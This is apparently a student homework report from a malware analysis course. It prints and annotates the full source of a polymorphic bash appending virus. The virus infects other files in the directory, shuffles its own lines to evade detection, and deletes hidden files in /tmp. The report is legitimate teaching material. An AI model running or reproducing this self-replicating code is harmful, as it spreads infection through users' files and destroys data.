Malware analysis and design

Homework No. 2

Vincenzo Arceri VR386484 Giovanni Liboni VR387955

The bash code given as assignment is a appending virus that copies his own code after the target file code, if this isn't already infected. Below we explain in detail the virus behavior.

```
if [ "$1" == "test" ]; then  #@1// If the first parameter is equals to "test" exit
  exit 0  #@2        // with exit status 0 because the file is already infected
fi  #@3
MANAGER=(test cd ls pwd)  #@4 // Array of 4 elements, used as temporary file names
RANDOM=$$  #@5 // Reseed the random number generator using virus process ID
for target in *; do  #@6  // For each file in the directory
  nbline=$(wc -l $target)  #@7    // Count the number of the target file
  nbline=${nbline##}  #@8 // Trim the left side of the string
  nbline=$(echo $nbline | cut -d " " -f1)  #@9 // and retrives the number of lines

  // Checks if the chosen file has less number of lines of the virus.
  // If it is true continue with another file
  if [ $(($nbline)) -lt 39 ]; then  #@10
    continue  #@11
  fi  #@12
  // Choose the name of the new file from one of the value contained in MANAGER, randomly.
  NEWFILE=${MANAGER[$((RANDOM % 4))]}  #@13
  // Takes the last 36 lines of target and sort them with ordering based on the number
    after @.
  // It restores the code in the original order and writes the output in an hidden
    temporary file. (name chosen in the previous line)
  tail -n 36 $target | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -
    f2- > /tmp/".$NEWFILE"  #@14
  // Gives to /tmp/."$NEWFILE"  the execution permission and execute it redirecting stderr
     to /dev/null
  chmod +x /tmp/".$NEWFILE" && /tmp/".$NEWFILE" test 2> /dev/null;  #@15
  // Checks the exit code of the last command executed: if it correspond to the virus it
    returns 0 (see first 3 lines) and continue, because the file is already infected.
  if [ "$?" == "0" ]; then  #@16
    continue  #@17
  fi  #@18
  // Choose the name of the new file from one of the value contained in MANAGER, randomly.
  NEWFILE=${MANAGER[$((RANDOM % 4))]}  #@19
  // Path of the just created file
  NEWFILE="/tmp/.$NEWFILE"  #@20
  // Appends to the target file the nexts 3 lines of code that will be executed  when the
    target file will be run: these lines gets the last 36 lines of target (the virus) and
    executes it in background: there three lines are used for the infection phase; re-order
     the last 36 lines of the infected file and execute them.
  echo "tail -n 36 $0 | awk '{ print(\$NF\" \"\$0) }' | cut -d\"@\" -f2- | sort -g | cut -
    d\" \" -f2- > $NEWFILE" >> $target  #@21
  echo "chmod +x $NEWFILE && $NEWFILE &" >> $target  #@22
  echo "exit 0" >> $target  #@23

  // Creates am array of 37 elements: first element "FT" and the last " "
  tabft=("FT" [36]=" ")  #@24
  declare -i nbl=0  #@25  // Creates an integer variable nbl=0
  while [ $nbl -ne 36 ]; do  #@26 // while (nbl != 36)
    valindex=$(((RANDOM % 36)+1))  #@27     // Generates a random number from 1 to 36
    // while  tabft[valindex] == "FT" then choose a new number for valindex, that is a new
       line to append
    while [ "${tabft[$valindex]}" == "FT" ]; do  #@28
      valindex=$(((RANDOM % 36) + 1))  #@29
    done  #@30
    // Takes the last (n minus valindex)-line of the virus
    line=$(tail -n $valindex $0 | head -1)  #@31
    // Appends the line to the target file
    echo -e "$line" >> $target  #@32
    // Increment the counter and sign the valindex cell of tabft as appended
    nbl=$(($nbl+1)) && tabft[$valindex]="FT"  #@33
  done  #@34
done  #@35
rm /tmp/.* 2> /dev/null  #@36 // Removes all hidden temporary files
```

The lines 1-3 and 14-18 deal with preventing over-infection: the virus executes a file and if it returns 0 it is already infected. The lines 19-34 identify the infection phase: initially the virus appends to the target file the code used to trigger the infection and finally the virus shuffles its own code and appends it to the target file: this is the implemented polymorphic mechanism. The virus has no payload.